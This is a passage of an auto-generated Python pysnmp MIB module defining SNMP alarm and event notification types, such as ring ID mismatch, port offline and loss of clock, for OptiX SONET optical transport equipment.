("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almGfpCsf.setStatus('current') almRevertiveModeMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40970)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRevertiveModeMismatch.setStatus('current') almRingIDMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40971)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRingIDMismatch.setStatus('current') almIncorrectFiberConnection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40972)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almIncorrectFiberConnection.setStatus('current') almStateChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40973)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almStateChange.setStatus('current') almMtMode = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40974)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almMtMode.setStatus('current') almRmvToMt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40979)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRmvToMt.setStatus('current') almRstFromMt = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40980)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRstFromMt.setStatus('current') almLpbk = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40981)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLpbk.setStatus('current') almRlsLpbk = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40982)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRlsLpbk.setStatus('current') almSyncNotSyncnronized = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40983)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSyncNotSyncnronized.setStatus('current') almPowerExceed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40984)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPowerExceed.setStatus('current') almPartialUnprotected = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40985)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPartialUnprotected.setStatus('current') almFanMea = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 40986)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFanMea.setStatus('current') almRemoteClientSF = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 63604)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteClientSF.setStatus('current') almRemoteClientSD = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 63605)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteClientSD.setStatus('current') almPowerSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 63607)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPowerSwitch.setStatus('current') almPortOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 63629)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPortOffline.setStatus('current') almDataLost = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 63630)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almDataLost.setStatus('current') almSqmVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 65409)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSqmVT.setStatus('current') almLomVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 65410)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLomVT.setStatus('current') almFCSError = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 65411)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almFCSError.setStatus('current') optixTrapsEvent = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20)) evtLossOfClock = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 3)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLossOfClock.setStatus('current') evtFileLost = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 6)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFileLost.setStatus('current') evtREILine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 37)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtREILine.setStatus('current') evtBiasTemperatureOfPumpHigh = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 69)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtBiasTemperatureOfPumpHigh.setStatus('current') evtTimSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 87)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTimSection.setStatus('current') evtLossOfAllSynchronousSource = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 100)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", 